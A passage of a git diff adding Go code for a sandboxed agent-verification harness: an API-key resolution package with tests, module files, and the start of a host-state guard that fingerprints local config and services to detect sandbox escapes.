+ // remedy is a retry rather than an investigation.
+ if pass == 0 && incon > 0 {
+ return fmt.Errorf("nothing was verified: %d scenario(s) inconclusive, 0 passed; "+
+ "retry rather than treating this as a successful run", incon)
+ }
+ return nil
+}
+
+// actionOf pulls event.action out of a raw JSONL line without a full decode, tolerating both
+// compact and spaced JSON.
+func actionOf(line string) string {
+ var e struct {
+ Event struct {
+ Action string `json:"action"`
+ } `json:"event"`
+ }
+ if json.Unmarshal([]byte(line), &e) != nil {
+ return ""
+ }
+ return e.Event.Action
+}
+
+func indent(s string) string {
+ var b strings.Builder
+ for _, line := range strings.Split(strings.TrimRight(s, "\n"), "\n") {
+ b.WriteString(" " + line + "\n")
+ }
+ return b.String()
+}
diff --git a/beacon-sandbox/credentials/credentials.go b/beacon-sandbox/credentials/credentials.go
new file mode 100644
index 00000000..2fe60d8d
--- /dev/null
+++ b/beacon-sandbox/credentials/credentials.go
@@ -0,0 +1,187 @@
+// Package credentials resolves the Anthropic API key the sandboxed agent needs.
+//
+// Three ways to supply it, in precedence order, because different setups want different
+// trade-offs between convenience and exposure:
+//
+// --modal-secret NAME stored with the provider; the value never enters this process
+// --api-key-command CMD fetched by running a command (1Password, vault, keychain)
+// ANTHROPIC_API_KEY plain environment variable
+//
+// The first option is the most secure and the least verifiable: because the value never
+// reaches us, the collected-artifact leak check has nothing to search for and reports
+// "unverified" instead of "clean". That is the right failure mode -- an unproven check must
+// never read as a passed one -- but it is a real trade-off worth choosing deliberately.
+package credentials
+
+import (
+ "crypto/sha256"
+ "encoding/hex"
+ "fmt"
+ "os"
+ "os/exec"
+ "strings"
+ "time"
+)
+
+// EnvVar is the environment variable the agent expects inside the sandbox.
+const EnvVar = "ANTHROPIC_API_KEY"
+
+// Source identifies where a key came from, for reporting.
+type Source string
+
+const (
+ // SourceProviderSecret means a named secret stored with the sandbox provider.
+ SourceProviderSecret Source = "provider-secret"
+ // SourceCommand means the output of a user-supplied command.
+ SourceCommand Source = "command"
+ // SourceEnv means the ambient environment variable.
+ SourceEnv Source = "env"
+ // SourceNone means no credential could be resolved.
+ SourceNone Source = "none"
+ // SourceMismatch means a credential is available but is provably not the one the run used,
+ // so searching artifacts for it would prove nothing about the original.
+ SourceMismatch Source = "mismatch"
+)
+
+// Options selects how to resolve the key.
+type Options struct {
+ // ProviderSecretName, when set, defers entirely to the provider's secret store.
+ ProviderSecretName string
+ // KeyCommand, when set, is run and its stdout used as the key.
+ KeyCommand string
+}
+
+// Resolved describes how the agent will be authenticated.
+type Resolved struct {
+ Source Source
+ // Value is the key, empty when Source is SourceProviderSecret or SourceNone.
+ Value string
+ // ProviderSecretName is set for SourceProviderSecret.
+ ProviderSecretName string
+}
+
+// LeakCheckPossible reports whether collected artifacts can be searched for this credential.
+//
+// False for a provider secret, and the caller must surface that as unverified rather than
+// silently skipping the check.
+func (r Resolved) LeakCheckPossible() bool { return r.Value != "" }
+
+// Fingerprint returns a short, non-reversible identifier for a credential value.
+//
+// Recorded in run metadata so an offline re-judge can tell whether the key it has is the key the
+// run actually used. Searching artifacts for a *different* key finds nothing and reports clean,
+// which would silently miss a real disclosure of the original -- so a mismatch has to be
+// detectable. The value itself is never persisted; a truncated SHA-256 of a high-entropy API key
+// is not invertible, and 48 bits is far more than enough to notice a substitution.
+func Fingerprint(value string) string {
+ value = strings.TrimSpace(value)
+ if value == "" {
+ return ""
+ }
+ sum := sha256.Sum256([]byte(value))
+ return "sha256:" + hex.EncodeToString(sum[:])[:12]
+}
+
+// WithheldReason explains, for a verdict finding, why the leak check cannot run. Only
+// meaningful when LeakCheckPossible is false.
+//
+// The wording matters because a bare "value was empty" reads as a defect. For a provider
+// secret the absence is the security property being paid for, so the finding should say so
+// rather than leave a reader guessing whether something broke.
+func (r Resolved) WithheldReason() string {
+ switch r.Source {
+ case SourceProviderSecret:
+ return fmt.Sprintf("it is stored as provider secret %q and never enters this process",
+ r.ProviderSecretName)
+ case SourceNone:
+ return "no credential was resolved"
+ case SourceMismatch:
+ return "the available credential is not the one this run used, so searching for it " +
+ "would say nothing about the original"
+ default:
+ return "the resolved value was empty"
+ }
+}
+
+// Describe renders the resolution for human and agent output, never including the value.
+func (r Resolved) Describe() string {
+ switch r.Source {
+ case SourceProviderSecret:
+ return fmt.Sprintf("provider secret %q (value not visible locally, so the artifact leak check cannot run)", r.ProviderSecretName)
+ case SourceCommand:
+ return "command output (value never in the environment or shell history)"
+ case SourceEnv:
+ return EnvVar + " environment variable"
+ case SourceMismatch:
+ return "a different " + EnvVar + " than the run used (leak check cannot run)"
+ default:
+ return "not configured"
+ }
+}
+
+// Resolve applies the precedence order. It does not validate the key against the API; that is
+// the agent session's job, and failing there produces a clearer error than guessing here.
+func Resolve(opts Options) (Resolved, error) {
+ if name := strings.TrimSpace(opts.ProviderSecretName); name != "" {
+ return Resolved{Source: SourceProviderSecret, ProviderSecretName: name}, nil
+ }
+
+ if cmdline := strings.TrimSpace(opts.KeyCommand); cmdline != "" {
+ value, err := runKeyCommand(cmdline)
+ if err != nil {
+ return Resolved{Source: SourceNone}, err
+ }
+ return Resolved{Source: SourceCommand, Value: value}, nil
+ }
+
+ if value := strings.TrimSpace(os.Getenv(EnvVar)); value != "" {
+ return Resolved{Source: SourceEnv, Value: value}, nil
+ }
+
+ return Resolved{Source: SourceNone}, fmt.Errorf(
+ "no Anthropic credential found; supply one of:\n"+
+ " --modal-secret NAME (modal secret create NAME %s=sk-ant-…)\n"+
+ " --api-key-command CMD (e.g. 'op read op://vault/anthropic/key')\n"+
+ " export %s=sk-ant-…", EnvVar, EnvVar)
+}
+
+// runKeyCommand executes a credential helper and returns its trimmed stdout.
+//
+// Run through a shell so the documented forms (`op read …`, `vault kv get -field=key …`) work
+// verbatim, and bounded so a helper waiting on an interactive unlock prompt fails with a clear
+// timeout rather than hanging a verification run indefinitely.
+func runKeyCommand(cmdline string) (string, error) {
+ cmd := exec.Command("sh", "-c", cmdline)
+ cmd.Stdin = nil
+ var out strings.Builder
+ var errOut strings.Builder
+ cmd.Stdout = &out
+ cmd.Stderr = &errOut
+
+ if err := cmd.Start(); err != nil {
+ return "", fmt.Errorf("api key command failed to start: %w", err)
+ }
+ done := make(chan error, 1)
+ go func() { done <- cmd.Wait() }()
+
+ select {
+ case err := <-done:
+ if err != nil {
+ return "", fmt.Errorf("api key command failed: %w: %s", err, strings.TrimSpace(errOut.String()))
+ }
+ case <-time.After(30 * time.Second):
+ _ = cmd.Process.Kill()
+ return "", fmt.Errorf("api key command timed out after 30s; if it prompts interactively, unlock first")
+ }
+
+ value := strings.TrimSpace(out.String())
+ if value == "" {
+ return "", fmt.Errorf("api key command produced no output")
+ }
+ // A multi-line result is almost always an error message or a stray banner rather than a
+ // key, and passing it through would surface as a confusing auth failure inside the sandbox.
+ if strings.ContainsAny(value, "\n\r") {
+ return "", fmt.Errorf("api key command produced multiple lines; it should print only the key")
+ }
+ return value, nil
+}
diff --git a/beacon-sandbox/credentials/credentials_test.go b/beacon-sandbox/credentials/credentials_test.go
new file mode 100644
index 00000000..587743d1
--- /dev/null
+++ b/beacon-sandbox/credentials/credentials_test.go
@@ -0,0 +1,146 @@
+package credentials
+
+import (
+ "strings"
+ "testing"
+)
+
+// The precedence order is a security decision, not a convenience one: a provider-stored secret
+// never enters this process, so it must win over an ambient environment variable that might be
+// stale or belong to a different account.
+
+func TestProviderSecretWinsOverEverything(t *testing.T) {
+ t.Setenv(EnvVar, "sk-ant-from-env")
+ got, err := Resolve(Options{ProviderSecretName: "stored", KeyCommand: "echo sk-ant-from-cmd"})
+ if err != nil {
+ t.Fatal(err)
+ }
+ if got.Source != SourceProviderSecret {
+ t.Fatalf("expected the provider secret to win, got %s", got.Source)
+ }
+ if got.Value != "" {
+ t.Error("a provider secret must not pull the value into this process")
+ }
+ if got.ProviderSecretName != "stored" {
+ t.Errorf("secret name = %q", got.ProviderSecretName)
+ }
+}
+
+func TestCommandWinsOverEnv(t *testing.T) {
+ t.Setenv(EnvVar, "sk-ant-from-env")
+ got, err := Resolve(Options{KeyCommand: "echo sk-ant-from-cmd"})
+ if err != nil {
+ t.Fatal(err)
+ }
+ if got.Source != SourceCommand || got.Value != "sk-ant-from-cmd" {
+ t.Fatalf("expected the command to win, got %s / %q", got.Source, got.Value)
+ }
+}
+
+func TestEnvIsTheFallback(t *testing.T) {
+ t.Setenv(EnvVar, " sk-ant-padded ")
+ got, err := Resolve(Options{})
+ if err != nil {
+ t.Fatal(err)
+ }
+ if got.Source != SourceEnv {
+ t.Fatalf("expected env, got %s", got.Source)
+ }
+ if got.Value != "sk-ant-padded" {
+ t.Errorf("value should be trimmed, got %q", got.Value)
+ }
+}
+
+// An unset credential must produce an error that lists every way to supply one, since this is
+// the most common first-run failure.
+func TestNoCredentialErrorListsAllThreeOptions(t *testing.T) {
+ t.Setenv(EnvVar, "")
+ got, err := Resolve(Options{})
+ if err == nil {
+ t.Fatal("expected an error when no credential is available")
+ }
+ if got.Source != SourceNone {
+ t.Errorf("source = %s, want none", got.Source)
+ }
+ for _, want := range []string{"--modal-secret", "--api-key-command", EnvVar} {
+ if !strings.Contains(err.Error(), want) {
+ t.Errorf("error should mention %s, got: %v", want, err)
+ }
+ }
+}
+
+// The leak check searches collected artifacts for the credential. It can only do that when the
+// value is local, and the caller must be able to tell the difference so an unrunnable check is
+// never reported as a passing one.
+func TestLeakCheckPossibleTracksValueAvailability(t *testing.T) {
+ if (Resolved{Source: SourceProviderSecret, ProviderSecretName: "s"}).LeakCheckPossible() {
+ t.Error("a provider secret has no local value, so the leak check cannot run")
+ }
+ if !(Resolved{Source: SourceEnv, Value: "sk-ant-x"}).LeakCheckPossible() {
+ t.Error("a local value means the leak check can run")
+ }
+ if (Resolved{Source: SourceNone}).LeakCheckPossible() {
+ t.Error("no credential means no leak check")
+ }
+}
+
+// Describe is printed to the terminal and stored in run metadata, so it must never contain the
+// key itself.
+func TestDescribeNeverLeaksTheValue(t *testing.T) {
+ secret := "sk-ant-do-not-print-me"
+ for _, r := range []Resolved{
+ {Source: SourceEnv, Value: secret},
+ {Source: SourceCommand, Value: secret},
+ {Source: SourceProviderSecret, ProviderSecretName: "stored"},
+ {Source: SourceNone},
+ } {
+ if strings.Contains(r.Describe(), secret) {
+ t.Errorf("Describe leaked the credential for source %s: %q", r.Source, r.Describe())
+ }
+ if r.Describe() == "" {
+ t.Errorf("source %s produced an empty description", r.Source)
+ }
+ }
+ // The provider-secret description must state the consequence, not just the source.
+ d := (Resolved{Source: SourceProviderSecret, ProviderSecretName: "stored"}).Describe()
+ if !strings.Contains(d, "leak check") {
+ t.Errorf("provider-secret description should note the leak check cannot run, got %q", d)
+ }
+}
+
+func TestKeyCommandFailuresAreDiagnosable(t *testing.T) {
+ cases := map[string]string{
+ "nonzero exit": "exit 3",
+ "no output": "true",
+ "multiline": "printf 'line1\\nline2\\n'",
+ "only whitespace": "printf ' '",
+ }
+ for name, cmd := range cases {
+ if _, err := Resolve(Options{KeyCommand: cmd}); err == nil {
+ t.Errorf("%s: expected an error from %q", name, cmd)
+ }
+ }
+}
+
+// A helper that prints the key with a trailing newline is the normal case, not an error.
+func TestKeyCommandTrimsTrailingNewline(t *testing.T) {
+ got, err := Resolve(Options{KeyCommand: "printf 'sk-ant-clean\\n'"})
+ if err != nil {
+ t.Fatal(err)
+ }
+ if got.Value != "sk-ant-clean" {
+ t.Errorf("value = %q, want the trimmed key", got.Value)
+ }
+}
+
+// A blank flag value must not be mistaken for an intent to use that path.
+func TestWhitespaceOnlyOptionsFallThrough(t *testing.T) {
+ t.Setenv(EnvVar, "sk-ant-env")
+ got, err := Resolve(Options{ProviderSecretName: " ", KeyCommand: "\t"})
+ if err != nil {
+ t.Fatal(err)
+ }
+ if got.Source != SourceEnv {
+ t.Errorf("blank options should fall through to env, got %s", got.Source)
+ }
+}
diff --git a/beacon-sandbox/go.mod b/beacon-sandbox/go.mod
new file mode 100644
index 00000000..5a17fea0
--- /dev/null
+++ b/beacon-sandbox/go.mod
@@ -0,0 +1,31 @@
+module github.com/asymptote-labs/agent-beacon/beacon-sandbox
+
+go 1.24.0
+
+require (
+ github.com/asymptote-labs/agent-beacon/pkg/asymptoteobserve v0.0.0
+ github.com/modal-labs/modal-client/go v0.9.0
+ gopkg.in/yaml.v3 v3.0.1
+)
+
+require (
+ github.com/aristanetworks/gomap v0.0.0-20230726210543-f4e41046dced // indirect
+ github.com/djherbis/buffer v1.2.0 // indirect
+ github.com/djherbis/nio/v3 v3.0.1 // indirect
+ github.com/fxamacker/cbor/v2 v2.9.0 // indirect
+ github.com/google/uuid v1.6.0 // indirect
+ github.com/kisielk/og-rek v1.3.0 // indirect
+ github.com/kr/text v0.2.0 // indirect
+ github.com/pelletier/go-toml/v2 v2.2.4 // indirect
+ github.com/x448/float16 v0.8.4 // indirect
+ golang.org/x/exp v0.0.0-20250606033433-dcc06ee1d476 // indirect
+ golang.org/x/net v0.50.0 // indirect
+ golang.org/x/sync v0.19.0 // indirect
+ golang.org/x/sys v0.41.0 // indirect
+ golang.org/x/text v0.34.0 // indirect
+ google.golang.org/genproto/googleapis/rpc v0.0.0-20260128011058-8636f8732409 // indirect
+ google.golang.org/grpc v1.78.0 // indirect
+ google.golang.org/protobuf v1.36.11 // indirect
+)
+
+replace github.com/asymptote-labs/agent-beacon/pkg/asymptoteobserve => ../pkg/asymptoteobserve
diff --git a/beacon-sandbox/go.sum b/beacon-sandbox/go.sum
new file mode 100644
index 00000000..fc3b27b7
--- /dev/null
+++ b/beacon-sandbox/go.sum
@@ -0,0 +1,75 @@
+github.com/aristanetworks/gomap v0.0.0-20230726210543-f4e41046dced h1:HxlRMDx/VeRqzj3nvqX9k4tjeBcEIkoNHDJPsS389hs=
+github.com/aristanetworks/gomap v0.0.0-20230726210543-f4e41046dced/go.mod h1:p7lmI+ecoe1RTyD11SPXWsSQ3H+pJ4cp5y7vtKW4QdM=
+github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs=
+github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
+github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E=
+github.com/djherbis/buffer v1.1.0/go.mod h1:VwN8VdFkMY0DCALdY8o00d3IZ6Amz/UNVMWcSaJT44o=
+github.com/djherbis/buffer v1.2.0 h1:PH5Dd2ss0C7CRRhQCZ2u7MssF+No9ide8Ye71nPHcrQ=
+github.com/djherbis/buffer v1.2.0/go.mod h1:fjnebbZjCUpPinBRD+TDwXSOeNQ7fPQWLfGQqiAiUyE=
+github.com/djherbis/nio/v3 v3.0.1 h1:6wxhnuppteMa6RHA4L81Dq7ThkZH8SwnDzXDYy95vB4=
+github.com/djherbis/nio/v3 v3.0.1/go.mod h1:Ng4h80pbZFMla1yKzm61cF0tqqilXZYrogmWgZxOcmg=
+github.com/fxamacker/cbor/v2 v2.9.0 h1:NpKPmjDBgUfBms6tr6JZkTHtfFGcMKsw3eGcmD/sapM=
+github.com/fxamacker/cbor/v2 v2.9.0/go.mod h1:vM4b+DJCtHn+zz7h3FFp/hDAI9WNWCsZj23V5ytsSxQ=
+github.com/go-logr/logr v1.4.3 h1:CjnDlHq8ikf6E492q6eKboGOC0T8CDaOvkHCIg8idEI=
+github.com/go-logr/logr v1.4.3/go.mod h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY=
+github.com/go-logr/stdr v1.2.2 h1:hSWxHoqTgW2S2qGc0LTAI563KZ5YKYRhT3MFKZMbjag=
+github.com/go-logr/stdr v1.2.2/go.mod h1:mMo/vtBO5dYbehREoey6XUKy/eSumjCCveDpRre4VKE=
+github.com/golang/protobuf v1.5.4 h1:i7eJL8qZTpSEXOPTxNKhASYpMn+8e5Q6AdndVa1dWek=
+github.com/golang/protobuf v1.5.4/go.mod h1:lnTiLA8Wa4RWRcIUkrtSVa5nRhsEGBg48fD6rSs7xps=
+github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8=
+github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU=
+github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
+github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
+github.com/kisielk/og-rek v1.3.0 h1:lTXdQXqFETZKA//FWH4RBNAuiJ/dofxIwHAidoUZoMk=
+github.com/kisielk/og-rek v1.3.0/go.mod h1:4at7oxyfBTDilURhNCf7irHWtosJlJl9uyqUqAkrP4w=
+github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE=
+github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk=
+github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
+github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
+github.com/modal-labs/modal-client/go v0.9.0 h1:tZ7JFCRzNRrfC3RA6e+4V/KwtGEliEOzEfJ9Xvb+4TM=
+github.com/modal-labs/modal-client/go v0.9.0/go.mod h1:dMBMTXVQ6ReY/XFXAB3Tic0IuGtC755UoHbDcqkCgcc=
+github.com/onsi/gomega v1.38.2 h1:eZCjf2xjZAqe+LeWvKb5weQ+NcPwX84kqJ0cZNxok2A=
+github.com/onsi/gomega v1.38.2/go.mod h1:W2MJcYxRGV63b418Ai34Ud0hEdTVXq9NW9+Sx6uXf3k=
+github.com/pelletier/go-toml/v2 v2.2.4 h1:mye9XuhQ6gvn5h28+VilKrrPoQVanw5PMw/TB0t5Ec4=
+github.com/pelletier/go-toml/v2 v2.2.4/go.mod h1:2gIqNv+qfxSVS7cM2xJQKtLSTLUE9V8t9Stt+h56mCY=
+github.com/rogpeppe/go-internal v1.14.1 h1:UQB4HGPB6osV0SQTLymcB4TgvyWu6ZyliaW0tI/otEQ=
+github.com/rogpeppe/go-internal v1.14.1/go.mod h1:MaRKkUm5W0goXpeCfT7UZI6fk/L7L7so1lCWt35ZSgc=
+github.com/x448/float16 v0.8.4 h1:qLwI1I70+NjRFUR3zs1JPUCgaCXSh3SW62uAKT1mSBM=
+github.com/x448/float16 v0.8.4/go.mod h1:14CWIYCyZA/cWjXOioeEpHeN/83MdbZDRQHoFcYsOfg=
+go.opentelemetry.io/auto/sdk v1.2.1 h1:jXsnJ4Lmnqd11kwkBV2LgLoFMZKizbCi5fNZ/ipaZ64=
+go.opentelemetry.io/auto/sdk v1.2.1/go.mod h1:KRTj+aOaElaLi+wW1kO/DZRXwkF4C5xPbEe3ZiIhN7Y=
+go.opentelemetry.io/otel v1.39.0 h1:8yPrr/S0ND9QEfTfdP9V+SiwT4E0G7Y5MO7p85nis48=
+go.opentelemetry.io/otel v1.39.0/go.mod h1:kLlFTywNWrFyEdH0oj2xK0bFYZtHRYUdv1NklR/tgc8=
+go.opentelemetry.io/otel/metric v1.38.0 h1:Kl6lzIYGAh5M159u9NgiRkmoMKjvbsKtYRwgfrA6WpA=
+go.opentelemetry.io/otel/metric v1.38.0/go.mod h1:kB5n/QoRM8YwmUahxvI3bO34eVtQf2i4utNVLr9gEmI=
+go.opentelemetry.io/otel/sdk v1.38.0 h1:l48sr5YbNf2hpCUj/FoGhW9yDkl+Ma+LrVl8qaM5b+E=
+go.opentelemetry.io/otel/sdk v1.38.0/go.mod h1:ghmNdGlVemJI3+ZB5iDEuk4bWA3GkTpW+DOoZMYBVVg=
+go.opentelemetry.io/otel/sdk/metric v1.39.0 h1:cXMVVFVgsIf2YL6QkRF4Urbr/aMInf+2WKg+sEJTtB8=
+go.opentelemetry.io/otel/sdk/metric v1.39.0/go.mod h1:xq9HEVH7qeX69/JnwEfp6fVq5wosJsY1mt4lLfYdVew=
+go.opentelemetry.io/otel/trace v1.38.0 h1:Fxk5bKrDZJUH+AMyyIXGcFAPah0oRcT+LuNtJrmcNLE=
+go.opentelemetry.io/otel/trace v1.38.0/go.mod h1:j1P9ivuFsTceSWe1oY+EeW3sc+Pp42sO++GHkg4wwhs=
+go.yaml.in/yaml/v3 v3.0.4 h1:tfq32ie2Jv2UxXFdLJdh3jXuOzWiL1fo0bu/FbuKpbc=
+go.yaml.in/yaml/v3 v3.0.4/go.mod h1:DhzuOOF2ATzADvBadXxruRBLzYTpT36CKvDb3+aBEFg=
+golang.org/x/exp v0.0.0-20250606033433-dcc06ee1d476 h1:bsqhLWFR6G6xiQcb+JoGqdKdRU6WzPWmK8E0jxTjzo4=
+golang.org/x/exp v0.0.0-20250606033433-dcc06ee1d476/go.mod h1:3//PLf8L/X+8b4vuAfHzxeRUl04Adcb341+IGKfnqS8=
+golang.org/x/net v0.50.0 h1:ucWh9eiCGyDR3vtzso0WMQinm2Dnt8cFMuQa9K33J60=
+golang.org/x/net v0.50.0/go.mod h1:UgoSli3F/pBgdJBHCTc+tp3gmrU4XswgGRgtnwWTfyM=
+golang.org/x/sync v0.19.0 h1:vV+1eWNmZ5geRlYjzm2adRgW2/mcpevXNg50YZtPCE4=
+golang.org/x/sync v0.19.0/go.mod h1:9KTHXmSnoGruLpwFjVSX0lNNA75CykiMECbovNTZqGI=
+golang.org/x/sys v0.41.0 h1:Ivj+2Cp/ylzLiEU89QhWblYnOE9zerudt9Ftecq2C6k=
+golang.org/x/sys v0.41.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks=
+golang.org/x/text v0.34.0 h1:oL/Qq0Kdaqxa1KbNeMKwQq0reLCCaFtqu2eNuSeNHbk=
+golang.org/x/text v0.34.0/go.mod h1:homfLqTYRFyVYemLBFl5GgL/DWEiH5wcsQ5gSh1yziA=
+gonum.org/v1/gonum v0.16.0 h1:5+ul4Swaf3ESvrOnidPp4GZbzf0mxVQpDCYUQE7OJfk=
+gonum.org/v1/gonum v0.16.0/go.mod h1:fef3am4MQ93R2HHpKnLk4/Tbh/s0+wqD5nfa6Pnwy4E=
+google.golang.org/genproto/googleapis/rpc v0.0.0-20260128011058-8636f8732409 h1:H86B94AW+VfJWDqFeEbBPhEtHzJwJfTbgE2lZa54ZAQ=
+google.golang.org/genproto/googleapis/rpc v0.0.0-20260128011058-8636f8732409/go.mod h1:j9x/tPzZkyxcgEFkiKEEGxfvyumM01BEtsW8xzOahRQ=
+google.golang.org/grpc v1.78.0 h1:K1XZG/yGDJnzMdd/uZHAkVqJE+xIDOcmdSFZkBUicNc=
+google.golang.org/grpc v1.78.0/go.mod h1:I47qjTo4OKbMkjA/aOOwxDIiPSBofUtQUI5EfpWvW7U=
+google.golang.org/protobuf v1.36.11 h1:fV6ZwhNocDyBLK0dj+fg8ektcVegBBuEolpbTQyBNVE=
+google.golang.org/protobuf v1.36.11/go.mod h1:HTf+CrKn2C3g5S8VImy6tdcUvCska2kB7j23XfzDpco=
+gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
+gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk=
+gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q=
+gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
+gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
diff --git a/beacon-sandbox/hostguard/hostguard.go b/beacon-sandbox/hostguard/hostguard.go
new file mode 100644
index 00000000..aee4f895
--- /dev/null
+++ b/beacon-sandbox/hostguard/hostguard.go
@@ -0,0 +1,323 @@
+// Package hostguard proves the harness did not touch the developer's own Beacon state.
+//
+// Every Beacon install and service operation is supposed to happen inside a sandbox. That is
+// worth enforcing rather than asserting: a stray code path running `beacon endpoint install`
+// locally would clobber a real ~/.beacon, real launchd jobs, and a real runtime log.
+//
+// The hard part is precision. A developer working on Beacon usually has Beacon *installed and
+// running*, so its collector and hooks are continuously appending to `~/.beacon` and
+// `/var/log/beacon-agent`. A guard that hashes those trees fires on every run and is therefore
+// useless as a gate. So paths are watched by intent:
+//
+// - structural: config, collector YAML, install manifests, per-runtime settings files. Full
+// content digest. A change here is a harness escape.
+// - existence: install roots and log directories. Existence and mode only. Their *creation*
+// is a signal; their growth is the developer's own agent working normally.
+// - services: launchd/systemd entries whose name mentions beacon, by name. A newly
+// registered service is the clearest escape signal there is.
+package hostguard
+
+import (
+ "crypto/sha256"
+ "encoding/hex"
+ "fmt"
+ "os"
+ "os/exec"
+ "path/filepath"
+ "runtime"
+ "sort"
+ "strings"
+)
+
+// watchMode selects how much of a path is fingerprinted.
+type watchMode int
+
+const (
+ // watchFull digests file contents. For config that must not change.
+ watchFull watchMode = iota
+ // watchExistence records only presence and mode, so a growing log does not trip it.
+ watchExistence
+ // watchBeaconEntries lists directory entries whose name mentions beacon, ignoring size.
+ // For unit/plist directories, where a new Beacon service appearing is the signal.
+ watchBeaconEntries
+)
+
+type guarded struct {
+ path string
+ mode watchMode
+}
+
+// Snapshot is a fingerprint of the guarded host state at one point in time.
+type Snapshot struct {
+ Paths map[string]string
+ // Services lists Beacon-related service names visible to this user.
+ Services []string
+ // ServicesAvailable is false when the service probe could not run, in which case Services
+ // says nothing. Kept separate so an unavailable probe is never compared as if it had
+ // returned an empty list -- that would read as every service having disappeared.
+ ServicesAvailable bool
+}
+
+func home() string {
+ h, err := os.UserHomeDir()
+ if err != nil {
+ return os.Getenv("HOME")
+ }
+ return h
+}
+
+// guardedPaths returns what to watch and how.
+func guardedPaths() []guarded {
+ h := home()
+ out := []guarded{
+ // Structural: if any of these change, something configured Beacon locally.
+ {filepath.Join(h, ".beacon", "endpoint", "config.json"), watchFull},
+ {filepath.Join(h, ".beacon", "endpoint", "otelcol.yaml"), watchFull},
+ {filepath.Join(h, ".beacon", "endpoint", "install-manifest.json"), watchFull},
+ {filepath.Join(h, ".claude", "settings.json"), watchFull},
+ {filepath.Join(h, ".codex", "config.toml"), watchFull},
+ {filepath.Join(h, ".cursor", "hooks.json"), watchFull},
+
+ // Existence only: these legitimately grow when the developer runs Beacon.
+ {filepath.Join(h, ".beacon"), watchExistence},
+ {filepath.Join(h, ".beacon", "endpoint", "logs"), watchExistence},
+ {"/opt/beacon", watchExistence},
+ {"/var/log/beacon-agent", watchExistence},
+ }
+ switch runtime.GOOS {
+ case "darwin":
+ out = append(out,
+ guarded{"/Library/Application Support/Beacon/Endpoint/config.json", watchFull},
+ guarded{filepath.Join(h, "Library", "LaunchAgents"), watchBeaconEntries},
+ guarded{"/Library/LaunchDaemons", watchBeaconEntries},
+ )
+ case "linux":
+ out = append(out,
+ guarded{"/etc/beacon/endpoint/config.json", watchFull},
+ guarded{filepath.Join(h, ".config", "systemd", "user"), watchBeaconEntries},
+ guarded{"/etc/systemd/system", watchBeaconEntries},
+ )
+ }
+ return out
+}
+
+// GuardedPaths returns the watched paths, for reporting and tests.
+func GuardedPaths() []string {
+ g := guardedPaths()
+ out := make([]string, 0, len(g))
+ for _, x := range g {
+ out = append(out, x.path)
+ }
+ return out
+}
+
+// Take fingerprints the guarded state.
+func Take() Snapshot {
+ snap := Snapshot{Paths: map[string]string{}}
+ for _, g := range guardedPaths() {
+ snap.Paths[g.path] = digest(g)
+ }
+ snap.Services, snap.ServicesAvailable = beaconServices()
+ return snap
+}
+
+func digest(g guarded) string {
+ info, err := os.Lstat(g.path)
+ if err != nil {
+ if os.IsNotExist(err) {
+ return "absent"
+ }
+ return "stat-error:" + err.Error()
+ }
+
+ switch g.mode {
+ case watchExistence:
+ // Mode but not content or size: creation and permission changes are signals, growth
+ // is not.
+ return fmt.Sprintf("present:mode=%s", info.Mode().String())
+
+ case watchBeaconEntries:
+ entries, err := os.ReadDir(g.path)
+ if err != nil {
+ return "readdir-error:" + err.Error()
+ }
+ var names []string
+ for _, e := range entries {
+ if strings.Contains(strings.ToLower(e.Name()), "beacon") {
+ names = append(names, e.Name())
+ }
+ }
+ sort.Strings(names)
+ return "beacon-entries:" + strings.Join(names, ",")
+
+ default: // watchFull
+ if info.IsDir() {
+ return "unexpected-dir"
+ }
+ b, err := os.ReadFile(g.path)
+ if err != nil {
+ return "read-error:" + err.Error()
+ }
+ h := sha256.New()
+ fmt.Fprintf(h, "mode=%s;", info.Mode().String())
+ h.Write(b)
+ return hex.EncodeToString(h.Sum(nil))
+ }
+}
+
+// beaconServices lists Beacon service labels registered for this user, and reports whether the
+// probe could run at all.
+//
+// The unavailable case used to be encoded as a fake service name ("launchctl-unavailable"), which
+// Compare then treated as a real service appearing or disappearing. A flaky probe on a machine that
+// already runs Beacon services therefore produced a safety.host_untouched failure -- a host-escape
+// finding manufactured by the guard rather than caused by the sandbox, and on the most serious
+// check this tool has. Reported by Cursor Bugbot.
+func beaconServices() (services []string, available bool) {
+ var out []string
+ switch runtime.GOOS {
+ case "darwin":
+ b, err := exec.Command("launchctl", "list").Output()
+ if err != nil {
+ return nil, false
+ }
+ for _, line := range strings.Split(string(b), "\n") {
